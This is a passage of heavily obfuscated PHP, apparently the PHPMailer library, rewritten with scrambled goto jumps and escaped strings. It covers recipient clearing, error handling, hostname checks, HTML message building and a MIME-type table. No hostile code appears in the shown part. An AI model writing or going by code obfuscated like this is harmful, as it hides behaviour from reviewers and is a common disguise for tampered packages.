$this->clearQueuedAddresses("\164\x6f"); goto Ne7yr; Fm0A7: MRbCH: goto r4vWR; r4vWR: $this->to = []; goto TLPwG; Ne7yr: } public function clearCCs() { goto qbDZX; SZtmS: $this->clearQueuedAddresses("\x63\x63"); goto TmvSv; arLIu: $this->cc = []; goto SZtmS; qbDZX: foreach ($this->cc as $K02kO) { unset($this->all_recipients[strtolower($K02kO[0])]); y1cDC: } goto B83GT; B83GT: DTHPq: goto arLIu; TmvSv: } public function clearBCCs() { goto MTemH; nu5xc: Tjuyi: goto pzAGR; MTemH: foreach ($this->bcc as $E4KUB) { unset($this->all_recipients[strtolower($E4KUB[0])]); DCXJ4: } goto nu5xc; pzAGR: $this->bcc = []; goto ehF4G; ehF4G: $this->clearQueuedAddresses("\x62\143\x63"); goto MmCC3; MmCC3: } public function clearReplyTos() { $this->ReplyTo = []; $this->ReplyToQueue = []; } public function clearAllRecipients() { goto bSoQf; bSoQf: $this->to = []; goto YZidV; c0HrL: $this->bcc = []; goto XMh4G; XMh4G: $this->all_recipients = []; goto reTtF; YZidV: $this->cc = []; goto c0HrL; reTtF: $this->RecipientsQueue = []; goto UhxXR; UhxXR: } public function clearAttachments() { $this->attachment = []; } public function clearCustomHeaders() { $this->CustomHeader = []; } protected function setError($bhokl) { goto kRSGW; iDhVT: c_4UQ: goto T1R1z; B3bR6: if (empty($sobEx["\x73\x6d\x74\160\x5f\x63\157\x64\x65\137\145\x78"])) { goto ljlq8; } goto dTfmw; T1R1z: $this->ErrorInfo = $bhokl; goto cLbaJ; nS1UN: if (empty($sobEx["\x73\155\164\x70\137\x63\x6f\144\x65"])) { goto qOGtX; } goto kOBDW; KZuxF: if (!("\x73\155\164\x70" == $this->Mailer and null !== $this->smtp)) { goto c_4UQ; } goto M00_c; M00_c: $sobEx = $this->smtp->getError(); goto Sxyln; xX6rO: qOGtX: goto B3bR6; wFuMf: $bhokl .= $this->lang("\x73\x6d\x74\160\137\x65\x72\x72\x6f\x72") . $sobEx["\145\162\162\157\x72"]; goto nvnxv; Sxyln: if (empty($sobEx["\x65\x72\162\x6f\x72"])) { goto aUAhn; } goto wFuMf; nvnxv: if (empty($sobEx["\144\145\164\141\151\x6c"])) { goto OmmvB; } goto G6qhI; dTfmw: $bhokl .= "\x20\x41\x64\144\151\x74\x69\157\156\x61\x6c\x20\x53\x4d\124\120\x20\151\156\x66\157\x3a\x20" . $sobEx["\163\155\x74\160\x5f\143\157\x64\x65\137\145\170"]; goto wRmKr; kRSGW: ++$this->error_count; goto KZuxF; wRmKr: ljlq8: goto n4s8u; eLcrw: OmmvB: goto nS1UN; G6qhI: $bhokl .= "\x20\104\145\164\x61\x69\154\72\40" . $sobEx["\x64\x65\x74\x61\x69\154"]; goto eLcrw; n4s8u: aUAhn: goto iDhVT; kOBDW: $bhokl .= "\40\x53\115\124\120\40\143\157\x64\x65\72\x20" . $sobEx["\163\155\x74\160\x5f\x63\157\x64\x65"]; goto xX6rO; cLbaJ: } public static function rfcDate() { date_default_timezone_set(@date_default_timezone_get()); return date("\104\x2c\x20\152\x20\115\x20\x59\x20\x48\72\x69\72\x73\40\x4f"); } protected function serverHostname() { goto de3Gt; lMvcW: kzO8j: goto tWuJf; yDgzD: w48Mn: goto sdzKQ; FuliD: if (static::isValidHost($oKqtC)) { goto XbWFY; } goto Wht3g; ZR601: $oKqtC = gethostname(); goto t1wIT; sbTV3: return $oKqtC; goto PbteD; h1v9F: if (!empty($this->Hostname)) { goto tIHmJ; } goto P8JQ3; tWuJf: $oKqtC = php_uname("\x6e"); goto P1SPi; OQsXz: goto f0rdt; goto f9PMJ; sdzKQ: $oKqtC = $_SERVER["\123\x45\x52\x56\105\x52\137\x4e\101\115\x45"]; goto OQsXz; TXnVp: $oKqtC = $this->Hostname; goto qG13n; VsBza: XbWFY: goto sbTV3; dsMVs: tIHmJ: goto TXnVp; P8JQ3: if (isset($_SERVER) and array_key_exists("\x53\x45\122\x56\105\x52\x5f\116\x41\x4d\x45", $_SERVER)) { goto w48Mn; } goto CAyld; Wht3g: return "\154\x6f\143\141\154\150\x6f\x73\x74\x2e\x6c\x6f\143\x61\154\x64\x6f\155\x61\151\x6e"; goto VsBza; QrZ8c: if (php_uname("\x6e") !== false) { goto kzO8j; } goto c3Dlf; c3Dlf: goto f0rdt; goto dsMVs; f9PMJ: fMTuZ: goto ZR601; qG13n: goto f0rdt; goto yDgzD; CAyld: if (function_exists("\147\145\x74\x68\157\163\164\x6e\x61\x6d\145") and gethostname() !== false) { goto fMTuZ; } goto QrZ8c; P1SPi: f0rdt: goto FuliD; t1wIT: goto f0rdt; goto lMvcW; de3Gt: $oKqtC = ''; goto h1v9F; PbteD: } public static function isValidHost($SbhNW) { goto Ks1f3; g_Jzk: return (bool) filter_var(trim($SbhNW, "\133\x5d"), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6); goto n_xN1; q8Mj6: return false; goto itFyn; mIMxp: return (bool) filter_var($SbhNW, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4); goto WIiAx; WnGbs: if (!(trim($SbhNW, "\x5b\x5d") != $SbhNW)) { goto ajV_p; } goto g_Jzk; CArqO: return false; goto PdAoN; WIiAx: YkGcL: goto ky2o7; uUMaE: if (!is_numeric(str_replace("\x2e", '', $SbhNW))) { goto YkGcL; } goto mIMxp; n_xN1: ajV_p: goto uUMaE; ky2o7: if (!filter_var("\150\164\x74\160\72\x2f\57" . $SbhNW, FILTER_VALIDATE_URL)) { goto ZqKy4; } goto jvYKw; Ks1f3: if (!(empty($SbhNW) or !is_string($SbhNW) or strlen($SbhNW) > 256)) { goto YeUMg; } goto q8Mj6; keGBA: ZqKy4: goto CArqO; jvYKw: return true; goto keGBA; itFyn: YeUMg: goto WnGbs; PdAoN: } protected function lang($PKEp0) { goto Ft9va; o2Y1W: return $PKEp0; goto WdAh3; cuRMs: if (!array_key_exists($PKEp0, $this->language)) { goto dF0c6; } goto w4ppn; gtfGC: dF0c6: goto o2Y1W; Lj3gJ: $this->setLanguage("\145\156"); goto u_ZiG; q7LjC: ZxZDT: goto Txl7l; Txl7l: return $this->language[$PKEp0]; goto gtfGC; JQEHf: return $this->language[$PKEp0]; goto q7LjC; w4ppn: if (!("\x73\x6d\164\x70\x5f\x63\x6f\156\156\x65\143\164\137\x66\x61\x69\x6c\x65\x64" == $PKEp0)) { goto ZxZDT; } goto JQEHf; u_ZiG: gA5lL: goto cuRMs; Ft9va: if (!(count($this->language) < 1)) { goto gA5lL; } goto Lj3gJ; WdAh3: } public function isError() { return $this->error_count > 0; } public function addCustomHeader($UxOLN, $TZqE1 = null) { goto kISHD; mf45Y: $this->CustomHeader[] = [$UxOLN, $TZqE1]; goto zPTwr; kISHD: if (null === $TZqE1) { goto uGG3m; } goto mf45Y; humR_: $this->CustomHeader[] = explode("\72", $UxOLN, 2); goto kdWvW; zPTwr: goto kbhQS; goto H0jAJ; kdWvW: kbhQS: goto AwQZX; H0jAJ: uGG3m: goto humR_; AwQZX: } public function getCustomHeaders() { return $this->CustomHeader; } public function msgHTML($upS1q, $kqcBI = '', $s7tSm = false) { goto kHVAT; kT17Z: kdCde: goto xBqOG; dRPOQ: if (!array_key_exists(2, $TJMWv)) { goto kdCde; } goto unI1k; A1_ce: return $this->Body; goto ROdND; QewPF: gZV6K: goto kT17Z; GmK65: kOrjp: goto A1_ce; RBG6t: $this->AltBody = static::normalizeBreaks($this->html2text($upS1q, $s7tSm)); goto ShKZe; ShKZe: if ($this->alternativeExists()) { goto kOrjp; } goto NT9F9; NT9F9: $this->AltBody = "\124\x68\x69\x73\40\x69\163\40\141\x6e\40\110\124\x4d\114\55\157\x6e\x6c\171\40\x6d\145\163\x73\141\x67\145\56\x20\124\157\40\x76\151\145\167\x20\x69\x74\x2c\40\x61\143\x74\151\166\x61\x74\145\40\x48\x54\115\x4c\x20\x69\156\x20\x79\157\165\162\40\x65\x6d\x61\151\154\40\141\160\160\154\x69\x63\141\164\x69\x6f\156\56" . static::$LE; goto GmK65; Yal4u: QZuyg: goto yn_d1; yn_d1: foreach ($TJMWv[2] as $JnREA => $tXFHK) { goto KmKmf; os2ou: goto WRPKw; goto kXgR1; exzN1: kvLav: goto A3yQF; AW_FP: $dauFV .= "\x2f"; goto ek_XF; u227G: $Sa3tp = hash("\163\150\x61\x32\65\66", $tXFHK) . "\x40\160\x68\x70\x6d\141\x69\x6c\x65\162\56\60"; goto HB4HK; Qg6qV: $this->addStringEmbeddedImage($Rr1ud, $Sa3tp, "\x65\155\142\145\144" . $JnREA, static::GWlmS, $jn56G[1]); goto XUvEG; p1hd7: WB8bu: goto Wkerb; WYD8V: KD84U: goto Pn3Tr; em94K: XKIY6: goto yTkTi; GI3rR: if (count($jn56G) == 4 and static::GWlmS == $jn56G[2]) { goto ukWFP; } goto QhY7V; XUvEG: CofkC: goto jIvsX; w3eh0: if ($this->cidExists($Sa3tp)) { goto CofkC; } goto Qg6qV; eGsr0: if (!$this->addEmbeddedImage($kqcBI . $dauFV . $JqJrD, $Sa3tp, $JqJrD, static::GWlmS, static::_mime_types((string) static::mb_pathinfo($JqJrD, PATHINFO_EXTENSION)))) { goto KD84U; } goto TDN8h; NLwPb: $JqJrD = basename($tXFHK); goto iB_1j; KmKmf: if (!preg_match("\43\136\x64\x61\x74\141\72\50\151\155\x61\x67\145\57\50\77\72\152\x70\x65\x3f\x67\174\x67\151\146\174\x70\x6e\x67\x29\51\x3b\x3f\50\142\x61\x73\x65\x36\x34\51\x3f\54\x28\x2e\53\x29\x23", $tXFHK, $jn56G)) { goto WB8bu; } goto GI3rR; IBYY6: $Rr1ud = rawurldecode($jn56G[3]); goto OxI0L; Pn3Tr: N2Cr7: goto em94K; XXutE: if (!("\56" == $dauFV)) { goto T1z9x; } goto u0Jhg; jIvsX: $upS1q = str_replace($TJMWv[0][$JnREA], $TJMWv[1][$JnREA] . "\75\x22\143\x69\x64\72" . $Sa3tp . "\42", $upS1q); goto wAoZn; ZlZWf: ukWFP: goto Z76LE; iB_1j: $dauFV = dirname($tXFHK); goto XXutE; A3yQF: if (!(strlen($dauFV) > 1 and "\x2f" != substr($dauFV, -1))) { goto Zaet0; } goto AW_FP; QhY7V: if ('' == $jn56G[2]) { goto G9Cux; } goto dqE1n; efqbP: goto WRPKw; goto ZlZWf; OxI0L: WRPKw: goto R07xs; kXgR1: G9Cux: goto IBYY6; ek_XF: Zaet0: goto eGsr0; dqE1n: goto XKIY6; goto efqbP; wAoZn: goto XKIY6; goto p1hd7; jIaBg: $kqcBI .= "\x2f"; goto exzN1; SssRh: T1z9x: goto u227G; R07xs: $Sa3tp = hash("\x73\150\141\x32\65\x36", $Rr1ud) . "\x40\160\150\x70\x6d\141\151\x6c\145\x72\56\x30"; goto w3eh0; HB4HK: if (!(strlen($kqcBI) > 1 and "\57" != substr($kqcBI, -1))) { goto kvLav; } goto jIaBg; u0Jhg: $dauFV = ''; goto SssRh; Z76LE: $Rr1ud = base64_decode($jn56G[3]); goto os2ou; Wkerb: if (!(!empty($kqcBI) and strpos($tXFHK, "\56\x2e") === false and 0 !== strpos($tXFHK, "\143\x69\x64\x3a") and !preg_match("\43\136\133\x61\x2d\172\x5d\x5b\x61\x2d\x7a\60\55\71\53\x2e\55\x5d\52\72\77\57\x2f\x23\151", $tXFHK))) { goto N2Cr7; } goto NLwPb; TDN8h: $upS1q = preg_replace("\x2f" . $TJMWv[1][$JnREA] . "\x3d\133\42\x27\x5d" . preg_quote($tXFHK, "\57") . "\133\42\47\135\x2f\x55\x69", $TJMWv[1][$JnREA] . "\75\x22\143\x69\x64\72" . $Sa3tp . "\x22", $upS1q); goto WYD8V; yTkTi: } goto QewPF; unI1k: if (!(strlen($kqcBI) > 1 && "\57" != substr($kqcBI, -1))) { goto QZuyg; } goto ELTSm; kHVAT: preg_match_all("\x2f\x28\x73\162\143\x7c\x62\x61\x63\153\147\162\157\165\x6e\x64\x29\x3d\133\42\47\135\x28\56\x2a\51\x5b\x22\47\x5d\x2f\125\151", $upS1q, $TJMWv); goto dRPOQ; FNNMK: $this->Body = static::normalizeBreaks($upS1q); goto RBG6t; ELTSm: $kqcBI .= "\57"; goto Yal4u; xBqOG: $this->isHTML(true); goto FNNMK; ROdND: } public function html2text($nyGzC, $s7tSm = false) { goto ApLbX; lJWZv: g10k2: goto Nkv1r; Nkv1r: return html_entity_decode(trim(strip_tags(preg_replace("\57\74\x28\x68\x65\141\x64\174\x74\x69\x74\x6c\x65\174\163\164\x79\154\x65\x7c\x73\143\162\x69\x70\x74\51\x5b\136\76\135\52\x3e\x2e\52\x3f\x3c\134\57\x5c\x31\x3e\x2f\163\x69", '', $nyGzC))), ENT_QUOTES, $this->CharSet); goto wcZVN; MLzbz: return call_user_func($s7tSm, $nyGzC); goto lJWZv; ApLbX: if (!is_callable($s7tSm)) { goto g10k2; } goto MLzbz; wcZVN: } public static function _mime_types($XgutQ = '') { goto ghHr_; WAM31: return "\141\160\x70\154\x69\143\141\x74\x69\x6f\x6e\x2f\157\143\164\145\x74\55\x73\164\x72\145\x61\x6d"; goto I5KYa; iR03D: $XgutQ = strtolower($XgutQ); goto OEZ2G; ghHr_: $Q_U9G = ["\170\x6c" => "\x61\x70\160\x6c\x69\x63\141\x74\151\157\156\57\x65\x78\x63\x65\x6c", "\x6a\x73" => "\141\160\160\154\151\x63\x61\x74\151\157\156\x2f\152\x61\166\x61\x73\143\162\151\160\x74", "\150\161\170" => "\141\x70\x70\x6c\151\x63\141\164\151\x6f\x6e\57\x6d\x61\x63\55\x62\x69\156\x68\x65\x78\64\x30", "\143\x70\164" => "\141\160\160\x6c\x69\x63\141\x74\x69\157\156\57\x6d\141\x63\55\x63\157\155\160\x61\x63\x74\160\162\157", "\142\x69\156" => "\x61\160\160\x6c\x69\143\x61\x74\151\157\x6e\57\155\x61\143\x62\x69\x6e\x61\x72\x79", "\x64\x6f\x63" => "\141\160\160\x6c\151\x63\x61\x74\x69\157\156\x2f\x6d\x73\x77\x6f\x72\x64", "\167\x6f\162\144" => "\x61\160\x70\154\151\x63\141\164\x69\x6f\x6e\57\155\x73\167\x6f\x72\x64", "\x78\x6c\x73\x78" => "\x61\160\x70\x6c\x69\143\141\164\x69\x6f\x6e\57\x76\x6e\144\x2e\x6f\x70\145\156\x78\x6d\154\146\x6f\162\x6d\141\164\x73\55\x6f\146\x66\x69\x63\145\x64\157\143\165\x6d\x65\156\x74\56\x73\x70\x72\x65\141\144\x73\x68\x65\145\x74\x6d\x6c\56\x73\150\x65\x65\164", "\170\x6c\x74\170" => "\141\x70\160\154\x69\143\x61\164\x69\x6f\156\57\166\156\x64\56\x6f\x70\x65\156\x78\x6d\x6c\x66\x6f\x72\155\x61\x74\x73\x2d\x6f\x66\x66\151\x63\145\144\x6f\143\165\x6d\145\x6e\164\x2e\163\160\162\x65\x61\x64\x73\150\x65\x65\164\155\x6c\56\x74\x65\x6d\x70\154\x61\164\145", "\x70\x6f\x74\x78" => "\141\x70\x70\154\151\143\x61\x74\x69\157\156\x2f\166\156\x64\x2e\157\160\145\156\170\155\154\146\x6f\x72\155\141\x74\163\55\157\146\146\151\x63\145\x64\157\143\165\x6d\145\x6e\164\x2e\x70\162\145\x73\x65\x6e\x74\x61\x74\151\157\156\155\x6c\x2e\164\145\155\160\154\x61\164\x65", "\160\x70\x73\x78" => "\x61\x70\x70\154\151\x63\141\164\151\x6f\156\57\166\x6e\144\56\157\x70\145\x6e\x78\155\154\x66\157\x72\x6d\141\164\163\55\x6f\146\x66\x69\143\x65\x64\157\x63\x75\155\145\x6e\x74\x2e\160\162\145\x73\145\x6e\164\x61\164\x69\x6f\156\155\x6c\56\x73\x6c\x69\x64\x65\x73\x68\x6f\167", "\160\x70\x74\170" => "\x61\x70\160\154\x69\143\x61\x74\x69\x6f\156\57\x76\x6e\x64\56\x6f\160\x65\x6e\x78\x6d\154\146\x6f\162\x6d\x61\164\x73\55\157\146\x66\x69\143\x65\x64\157\x63\x75\155\145\x6e\164\x2e\x70\162\145\x73\x65\x6e\x74\141\164\151\157\x6e\x6d\x6c\x2e\160\x72\x65\163\145\156\164\141\164\151\157\156", "\x73\x6c\144\x78" => "\141\160\x70\x6c\151\143\x61\x74\x69\157\x6e\x2f\166\156\144\56\x6f\160\145\x6e\x78\155\x6c\146\x6f\x72\155\141\x74\163\55\x6f\x66\x66\151\x63\145\144\x6f\x63\165\155\x65\x6e\164\x2e\x70\x72\145\163\x65\156\164\x61\164\x69\157\x6e\155\x6c\56\x73\x6c\x69\x64\145", "\144\x6f\143\170" => "\141\160\x70\x6c\151\143\141\x74\151\x6f\156\57\x76\156\x64\x2e\x6f\x70\145\x6e\x78\155\154\x66\157\x72\155\x61\x74\163\x2d\x6f\x66\x66\151\x63\x65\x64\157\143\165\x6d\145\156\x74\x2e\167\157\x72\144\x70\162\157\143\x65\163\x73\151\x6e\147\155\154\x2e\144\x6f\x63\165\x6d\x65\156\164", "\x64\157\x74\170" => "\x61\160\160\154\151\143\141\164\151\x6f\x6e\57\166\156\x64\56\x6f\160\x65\156\170\155\x6c\146\157\162\155\141\x74\163\55\157\x66\x66\x69\143\x65\144\x6f\143\165\155\145\156\164\56\x77\157\162\144\x70\x72\157\143\x65\x73\x73\151\156\147\155\x6c\x2e\164\145\x6d\160\x6c\x61\x74\x65", "\x78\x6c\x61\x6d" => "\x61\160\160\x6c\x69\143\141\164\x69\x6f\156\57\166\156\144\56\155\163\x2d\145\x78\143\x65\154\56\141\144\144\151\156\x2e\x6d\x61\143\x72\157\x45\x6e\141\142\154\145\x64\56\61\62", "\170\154\x73\142" => "\141\x70\160\x6c\x69\143\x61\x74\151\x6f\156\x2f\166\156\144\56\x6d\163\55\x65\x78\x63\145\154\x2e\163\150\145\x65\164\x2e\142\151\x6e\141\x72\171\x2e\x6d\x61\x63\162\x6f\105\x6e\x61\x62\x6c\145\144\56\x31\x32", "\143\x6c\141\163\163" => "\x61\x70\x70\154\151\x63\x61\x74\151\x6f\156\57\157\x63\x74\x65\164\55\163\x74\162\x65\141\155", "\x64\x6c\x6c" => "\x61\x70\160\x6c\151\143\141\x74\x69\x6f\x6e\57\157\143\164\145\164\x2d\x73\x74\162\x65\x61\x6d", "\x64\155\x73" => "\x61\160\160\154\151\x63\x61\x74\151\157\x6e\57\157\143\x74\145\164\55\163\x74\x72\x65\x61\155", "\x65\170\145" => "\x61\160\160\x6c\x69\143\x61\x74\x69\x6f\x6e\57\x6f\x63\x74\145\x74\55\x73\164\162\145\x61\x6d", "\154\150\141" => "\x61\160\x70\154\151\143\141\x74\151\157\x6e\x2f\x6f\x63\x74\145\x74\55\163\x74\x72\x65\141\155", "\154\x7a\x68" => "\x61\x70\160\154\x69\143\x61\x74\x69\x6f\x6e\57\157\x63\164\145\164\55\x73\x74\162\145\141\x6d", "\x70\x73\x64" => "\x61\160\x70\x6c\151\143\x61\164\151\157\x6e\57\x6f\143\164\145\164\x2d\x73\164\162\145\x61\x6d", "\163\x65\141" => "\141\x70\x70\154\x69\x63\x61\x74\x69\x6f\x6e\57\x6f\143\164\145\164\x2d\163\164\x72\145\141\155", "\x73\157" => "\x61\160\x70\154\151\143\141\x74\x69\x6f\156\57\157\143\164\x65\164\x2d\163\x74\x72\145\x61\x6d", "\x6f\x64\x61" => "\x61\x70\160\x6c\x69\143\x61\x74\x69\x6f\156\x2f\157\144\141", "\x70\144\146" => "\141\160\x70\154\151\x63\x61\164\x69\x6f\156\x2f\x70\x64\x66", "\x61\151" => "\141\160\160\154\151\x63\141\x74\x69\157\156\57\x70\157\x73\x74\x73\143\162\x69\160\164", "\x65\160\163" => "\x61\160\x70\154\151\x63\141\164\151\x6f\156\x2f\160\157\x73\x74\x73\x63\162\151\160\x74", "\x70\x73" => "\x61\x70\160\154\x69\143\x61\x74\x69\157\x6e\x2f\160\157\x73\x74\x73\x63\x72\151\x70\164", "\x73\155\x69" => "\x61\x70\x70\x6c\x69\x63\141\164\x69\157\156\x2f\163\155\x69\154", "\163\155\151\x6c" => "\141\160\160\x6c\151\143\x61\164\x69\157\156\57\x73\x6d\x69\154", "\x6d\151\146" => "\141\x70\160\154\151\x63\141\164\151\x6f\156\57\x76\x6e\x64\x2e\155\151\x66", "\x78\x6c\x73" => "\141\x70\x70\x6c\x69\143\x61\164\x69\x6f\156\57\166\x6e\144\x2e\155\x73\55\145\x78\143\145\x6c", "\x70\x70\x74" => "\141\x70\x70\x6c\151\x63\141\164\x69\x6f\x6e\x2f\x76\x6e\x64\56\x6d\163\55\x70\157\x77\x65\162\x70\157\151\x6e\164", "\x77\142\x78\x6d\x6c" => "\141\x70\160\x6c\x69\x63\141\164\151\x6f\156\57\x76\156\144\x2e\x77\141\x70\x2e\167\x62\x78\x6d\154", "\167\155\154\x63" => "\x61\160\160\154\151\143\141\x74\x69\x6f\156\x2f\x76\x6e\144\x2e\x77\141\160\x2e\x77\x6d\154\x63", "\144\143\x72" => "\x61\x70\160\154\x69\x63\x61\164\151\x6f\x6e\x2f\x78\55\x64\151\x72\x65\143\x74\x6f\x72", "\x64\x69\x72" => "\141\x70\x70\x6c\151\143\141\164\x69\x6f\x6e\x2f\x78\x2d\144\151\162\x65\143\164\157\x72", "\144\x78\x72" => "\141\x70\160\154\151\x63\141\x74\x69\157\x6e\57\170\55\x64\151\162\145\x63\164\157\x72", "\x64\166\x69" => "\141\x70\160\x6c\x69\143\x61\x74\x69\x6f\156\57\170\x2d\x64\x76\151", "\147\164\141\x72" => "\x61\160\160\x6c\151\x63\141\x74\x69\x6f\x6e\57\170\55\x67\164\141\x72", "\x70\x68\160\x33" => "\141\160\160\x6c\x69\143\141\164\151\x6f\156\x2f\170\x2d\150\x74\x74\160\x64\x2d\160\x68\x70", "\160\x68\160\64" => "\141\160\160\154\151\143\x61\164\151\x6f\156\57\170\x2d\x68\164\x74\x70\x64\x2d\160\150\160", "\160\150\x70" => "\141\x70\x70\154\x69\143\141\x74\151\x6f\x6e\x2f\170\55\150\164\x74\x70\144\x2d\x70\x68\160", "\160\150\164\x6d\154" => "\141\160\x70\x6c\151\143\141\x74\151\x6f\156\57\170\55\x68\164\x74\x70\x64\x2d\x70\x68\x70", "\x70\x68\160\163" => "\x61\x70\160\154\151\143\x61\x74\151\x6f\156\x2f\170\55\x68\164\x74\160\144\x2d\x70\150\160\55\163\157\x75\162\143\x65", "\x73\167\146" => "\141\160\160\x6c\151\143\141\x74\151\x6f\156\57\170\x2d\x73\150\x6f\143\x6b\167\x61\166\x65\x2d\146\154\x61\x73\150", "\163\x69\164" => "\x61\160\160\x6c\x69\143\x61\164\x69\x6f\156\x2f\x78\x2d\x73\x74\x75\146\146\151\164", "\x74\x61\x72" => "\x61\160\160\x6c\151\143\x61\164\x69\x6f\156\x2f\x78\55\x74\x61\x72", "\x74\x67\172" => "\x61\x70\160\154\x69\143\141\x74\151\x6f\156\57\170\55\164\x61\162", "\x78\150\164" => "\x61\x70\160\x6c\151\x63\x61\164\151\157\x6e\x2f\170\x68\164\155\x6c\x2b\x78\155\154", "\170\150\164\x6d\x6c" => "\141\x70\160\x6c\151\143\141\x74\151\157\x6e\x2f\x78\x68\164\x6d\154\x2b\170\x6d\x6c", "\172\x69\x70" => "\x61\160\x70\154\151\143\141\164\x69\157\x6e\x2f\x7a\151\x70", "\x6d\151\x64" => "\141\x75\144\x69\157\57\155\x69\144\151", "\x6d\x69\144\151" => "\x61\x75\x64\151\157\x2f\155\151\144\x69", "\155\160\62" => "\x61\165\x64\151\x6f\x2f\x6d\160\145\147", "\x6d\x70\63" => "\x61\165\144\151\157\57\x6d\160\145\x67", "\155\x34\141" => "\141\x75\144\151\157\57\155\x70\64", "\x6d\160\x67\x61" => "\141\165\x64\x69\157\x2f\155\x70\145\147", "\141\151\146" => "\x61\165\x64\x69\157\57\170\x2d\x61\151\x66\146", "\x61\151\146\143" => "\x61\x75\144\151\157\57\170\55\141\151\x66\x66", "\141\x69\x66\146" => "\141\x75\144\x69\157\57\170\x2d\141\151\146\146", "\162\x61\x6d" => "\x61\165\144\x69\157\57\x78\x2d\x70\156\x2d\162\x65\x61\154\141\x75\144\151\157", "\162\x6d" => "\141\165\x64\151\x6f\57\x78\55\x70\x6e\x2d\162\145\141\154\x61\165\x64\x69\x6f", "\162\x70\155" => "\141\165\x64\151\157\57\x78\55\x70\x6e\55\x72\x65\x61\154\x61\x75\x64\151\x6f\55\x70\x6c\165\147\x69\x6e", "\162\141" => "\x61\165\144\x69\x6f\57\170\55\162\x65\x61\154\141\165\144\151\x6f", "\x77\x61\x76" => "\x61\x75\144\151\x6f\x2f\x78\x2d\167\x61\166", "\155\x6b\141" => "\141\165\144\151\157\57\170\x2d\x6d\141\x74\x72\x6f\x73\x6b\x61", "\142\155\x70" => "\x69\155\141\147\x65\57\142\x6d\160", "\147\x69\146" => "\151\x6d\x61\147\x65\x2f\x67\x69\x66", "\x6a\x70\x65\x67" => "\151\x6d\141\147\145\x2f\x6a\160\145\x67", "\x6a\x70\145" => "\151\155\x61\x67\x65\57\x6a\x70\145\x67", "\x6a\x70\x67" => "\151\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67", "\160\x6e\147" => "\x69\x6d\x61\x67\145\57\x70\x6e\147", "\164\151\146\x66" => "\x69\x6d\141\147\145\x2f\x74\151\x66\146", "\164\151\x66" => "\151\155\x61\x67\145\x2f\x74\151\146\146", "\167\x65\142\160" => "\x69\155\141\x67\145\x2f\x77\x65\x62\x70", "\150\x65\x69\x66" => "\151\155\141\147\x65\57\150\x65\x69\146", "\x68\145\151\x66\x73" => "\151\155\x61\147\145\57\x68\x65\x69\146\55\163\145\x71\x75\x65\x6e\x63\145", "\x68\145\151\x63" => "\151\155\x61\147\145\57\x68\x65\151\143", "\150\145\151\x63\163" => "\x69\155\x61\x67\145\x2f\150\x65\151\143\55\163\x65\x71\165\x65\156\143\x65", "\x65\x6d\154" => "\155\145\163\163\141\147\145\x2f\162\146\143\70\x32\62", "\143\x73\x73" => "\x74\x65\x78\164\57\x63\163\x73", "\150\164\x6d\154" => "\x74\x65\170\x74\x2f\150\x74\155\x6c", "\150\164\x6d" => "\164\145\170\x74\57\150\164\x6d\154", "\x73\150\x74\x6d\x6c" => "\x74\145\x78\164\57\x68\164\x6d\154", "\154\157\x67" => "\164\x65\x78\164\57\x70\x6c\141\x69\156", "\x74\x65\170\x74" => "\x74\x65\170\x74\57\x70\154\x61\151\156", "\164\170\164" => "\164\145\170\164\57\160\x6c\x61\x69\156", "\x72\x74\x78" => "\164\x65\170\x74\57\x72\151\x63\x68\x74\145\x78\164", "\x72\x74\x66" => "\164\x65\170\164\57\x72\x74\146", "\x76\143\146" => "\164\x65\170\x74\57\166\x63\x61\x72\144", "\x76\143\x61\x72\x64" => "\x74\145\x78\x74\57\x76\x63\141\x72\x64", "\151\143\163" => "\164\145\x78\x74\57\x63\141\x6c\145\156\x64\x61\162", "\170\155\x6c" => "\x74\x65\x78\164\57\x78\155\154", "\x78\163\x6c" => "\164\x65\170\164\57\170\x6d\x6c", "\x77\155\x76" => "\x76\x69\144\145\x6f\x2f\170\x2d\155\163\x2d\167\155\x76", "\155\x70\x65\147" => "\x76\x69\144\145\157\x2f\155\x70\145\x67", "\x6d\x70\x65" => "\166\x69\144\145\157\x2f\x6d\160\145\x67", "\x6d\160\x67" => "\x76\x69\x64\145\157\x2f\155\160\145\147", "\x6d\x70\x34" => "\x76\x69\144\145\x6f\57\x6d\160\64", "\x6d\64\x76" => "\x76\151\x64\145\x6f\x2f\155\x70\x34", "\155\x6f\x76" => "\166\x69\144\x65\x6f\57\x71\165\151\x63\x6b\x74\x69\x6d\x65", "\161\x74" => "\x76\151\x64\145\157\57\161\165\x69\x63\153\x74\151\x6d\x65", "\x72\x76" => "\x76\151\x64\x65\x6f\x2f\x76\x6e\x64\x2e\162\156\x2d\x72\x65\141\x6c\x76\x69\x64\145\x6f", "\141\166\x69" => "\166\151\x64\145\157\x2f\170\x2d\155\x73\166\151\144\145\x6f", "\x6d\157\166\151\x65" => "\166\151\144\x65\157\57\x78\x2d\x73\147\151\x2d\155\x6f\166\x69\x65", "\x77\145\142\155" => "\166\x69\x64\x65\157\57\x77\x65\142\155", "\x6d\x6b\166" => "\166\x69\x64\x65\x6f\x2f\x78\55\155\141\x74\162\157\x73\153\141"]; goto iR03D; UoHB8: UPmfq: goto WAM31; OEZ2G: if (!array_key_exists($XgutQ, $Q_U9G)) { goto UPmfq; } goto WPldr; WPldr: return $Q_U9G[$XgutQ]; goto UoHB8; I5KYa: } public static function filenameToType($JqJrD) { goto WpD6e; QHqzI: if (!(false !== $kio_1)) { goto KhctM; } goto vRxNP; vRxNP: $JqJrD = substr($JqJrD, 0, $kio_1); goto ZS6cX; ZS6cX: KhctM: goto YbUpr; YbUpr: $XgutQ = static::mb_pathinfo($JqJrD, PATHINFO_EXTENSION); goto J5vve; WpD6e: $kio_1 = strpos($JqJrD, "\x3f"); goto QHqzI; J5vve: return static::_mime_types($XgutQ); goto ahBNJ; ahBNJ: } public static function mb_pathinfo($q7qVx, $LiNAI = null) { goto gVpUA; A9h0F: if (!array_key_exists(2, $T8maC)) { goto JSZI2; } goto VgMWs; r48Gr: $C_7kb["\145\x78\164\x65\156\163\151\x6f\156"] = $T8maC[5]; goto xANPs; Y_Lat: $C_7kb["\144\151\x72\x6e\x61\x6d\x65"] = $T8maC[1]; goto ISEUl; PhYNA: switch ($LiNAI) { case PATHINFO_DIRNAME: case "\144\151\x72\x6e\141\155\145": return $C_7kb["\144\151\x72\156\x61\155\x65"]; case PATHINFO_BASENAME: case "\x62\141\163\x65\x6e\x61\x6d\x65": return $C_7kb["\142\x61\163\x65\156\141\x6d\145"]; case PATHINFO_EXTENSION: 